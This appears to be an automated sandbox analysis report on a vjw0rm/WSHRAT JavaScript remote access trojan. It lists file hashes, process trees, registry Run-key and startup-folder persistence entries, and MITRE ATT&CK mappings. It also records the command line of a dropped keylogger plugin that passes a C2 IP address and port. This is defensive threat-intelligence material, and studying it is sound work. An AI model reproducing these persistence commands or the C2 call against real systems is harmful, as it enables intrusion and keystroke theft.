vjw0rm | b302998fc5e3ff4a61d22f5c35ea5e168e040d10bc8437cf8c190bfc27e63dd0

General

Target

extracted.js
Size

18KB
MD5

1d9327d69fd263ac645b6a4eef31cb24
SHA1

3cff6c8d464e8c254048635dd68e31225ffcb6e4
SHA256

b302998fc5e3ff4a61d22f5c35ea5e168e040d10bc8437cf8c190bfc27e63dd0
SHA512

50cf6ff55a3f73803b4b1313c029e08e66e62ff6de1fd839fec21aecc09d30254616a3b8aab271828a7a69f4835d155ee4af53bb3c4daaa3b4a1cb2305409e2f

Score

10^/10

vjw0rm wshrat persistence trojan worm

Malware Config

Signatures

Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm
WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 22 IoCs

Processes:

wscript.exewscript.exeWScript.exe

flow	pid	process
10	4796	wscript.exe
11	3516	wscript.exe
15	3516	wscript.exe
20	3516	wscript.exe
21	3516	wscript.exe
22	3516	wscript.exe
23	3516	wscript.exe
24	3516	wscript.exe
25	3516	wscript.exe
26	3516	wscript.exe
27	3516	wscript.exe
28	3516	wscript.exe
29	3516	wscript.exe
30	3516	wscript.exe
31	3516	wscript.exe
32	3516	wscript.exe
33	3516	wscript.exe
34	3516	wscript.exe
36	1220	WScript.exe
37	1220	WScript.exe
38	3516	wscript.exe
39	1220	WScript.exe

Executes dropped EXE 1 IoCs

Processes:

kl-plugin.exe

pid process

2208 kl-plugin.exe

pid	process
2208	kl-plugin.exe

Drops startup file 4 IoCs

Processes:

wscript.exeWScript.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\amqolYPJMq.js	wscript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XLUWQJIUG1.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XLUWQJIUG1.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\amqolYPJMq.js	wscript.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

WScript.exewscript.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\XLUWQJIUG1 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Local\\Temp\\XLUWQJIUG1.vbs\""	WScript.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XLUWQJIUG1 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Local\\Temp\\XLUWQJIUG1.vbs\""	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\SEJOKAOI5S = "\"C:\\Users\\Admin\\AppData\\Roaming\\amqolYPJMq.js\""	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\software\microsoft\windows\currentversion\run	WScript.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

35 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1988 taskkill.exe
Modifies registry class 1 IoCs

Processes:

wscript.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings wscript.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 1988 taskkill.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

kl-plugin.exe

pid process

2208 kl-plugin.exe
2208 kl-plugin.exe

flow	ioc
35	ip-api.com

pid	process
1988	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	wscript.exe

description	pid	process
Token: SeDebugPrivilege	1988	taskkill.exe

pid	process
2208	kl-plugin.exe
2208	kl-plugin.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

wscript.exeWScript.execmd.exe

description	pid	process	target process
PID 4796 wrote to memory of 3516	4796	wscript.exe	wscript.exe
PID 4796 wrote to memory of 3516	4796	wscript.exe	wscript.exe
PID 4796 wrote to memory of 1220	4796	wscript.exe	WScript.exe
PID 4796 wrote to memory of 1220	4796	wscript.exe	WScript.exe
PID 1220 wrote to memory of 1680	1220	WScript.exe	cmd.exe
PID 1220 wrote to memory of 1680	1220	WScript.exe	cmd.exe
PID 1680 wrote to memory of 1988	1680	cmd.exe	taskkill.exe
PID 1680 wrote to memory of 1988	1680	cmd.exe	taskkill.exe
PID 1220 wrote to memory of 2208	1220	WScript.exe	kl-plugin.exe
PID 1220 wrote to memory of 2208	1220	WScript.exe	kl-plugin.exe
PID 1220 wrote to memory of 2208	1220	WScript.exe	kl-plugin.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\extracted.js
1⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4796

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\amqolYPJMq.js"
2⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
PID:3516

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XLUWQJIUG1.vbs"
2⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\system32\taskkill.exe
taskkill /F /IM kl-plugin.exe
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe
"C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe" 194.5.97.156 8256 "WSHRAT|3ED10BF6|GFBFPSXA|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 9/1/2021|Visual Basic-v2.0|NL:Netherlands" 1
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2208

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\XLUWQJIUG1.vbs
MD5
e335bd5a685e95d9652d5a600b3605ea

SHA1
863cb2c134c72d65138af0da4b4053d5e9d9cfc9

SHA256
d0cdcbfd0c9053bf94b6e8a2bdbe2df910833164330013c4ebc5623a2b5215ba

SHA512
dba67a7dbabc3a780f0e750ff80817d7ac9b83834c1755ff6b5ddb6541787c16adb2a33d20132184172b37963cd2cf3fced3cbdeaecf09dfbff76c3267f3650f

Download Submit
C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe
MD5
7099a939fa30d939ccceb2f0597b19ed

SHA1
37b644ef5722709cd9024a372db4590916381976

SHA256
272e64291748fa8be01109faa46c0ea919bf4baf4924177ea6ac2ee0574f1c1a

SHA512
6e179a32b3091beee71d425248ae56495e31e9df569159a93af5826ddef28fba904ae4810d3ca2da45fe6dc8be1eeaecf71e8225b3e605f22f41f4e46d1cf721

Download Submit
C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe
MD5
7099a939fa30d939ccceb2f0597b19ed

SHA1
37b644ef5722709cd9024a372db4590916381976

SHA256
272e64291748fa8be01109faa46c0ea919bf4baf4924177ea6ac2ee0574f1c1a

SHA512
6e179a32b3091beee71d425248ae56495e31e9df569159a93af5826ddef28fba904ae4810d3ca2da45fe6dc8be1eeaecf71e8225b3e605f22f41f4e46d1cf721

Download Submit
C:\Users\Admin\AppData\Roaming\amqolYPJMq.js
MD5
3f7b92769fc59d8adc125b4d4e8adee4

SHA1
b3ea6913dcf3681572a1db1f429cc5e1e49b060e

SHA256
e1fccde6528046c2c1e41096085c199efaddc1393d42f6696165aeec43c9a209

SHA512
659caad97e885af9d5f2dece465873b517fc34a5c67f5f0aba08b9ef868cca57fe025ed9979bd0933e46ee45792d5b424bd99a24c4449c5b739f17e0b6bdf01f

Download Submit
memory/1220-116-0x0000000000000000-mapping.dmp

Download
memory/1680-118-0x0000000000000000-mapping.dmp

Download
memory/1988-119-0x0000000000000000-mapping.dmp

Download
memory/2208-120-0x0000000000000000-mapping.dmp

Download
memory/2208-123-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/3516-114-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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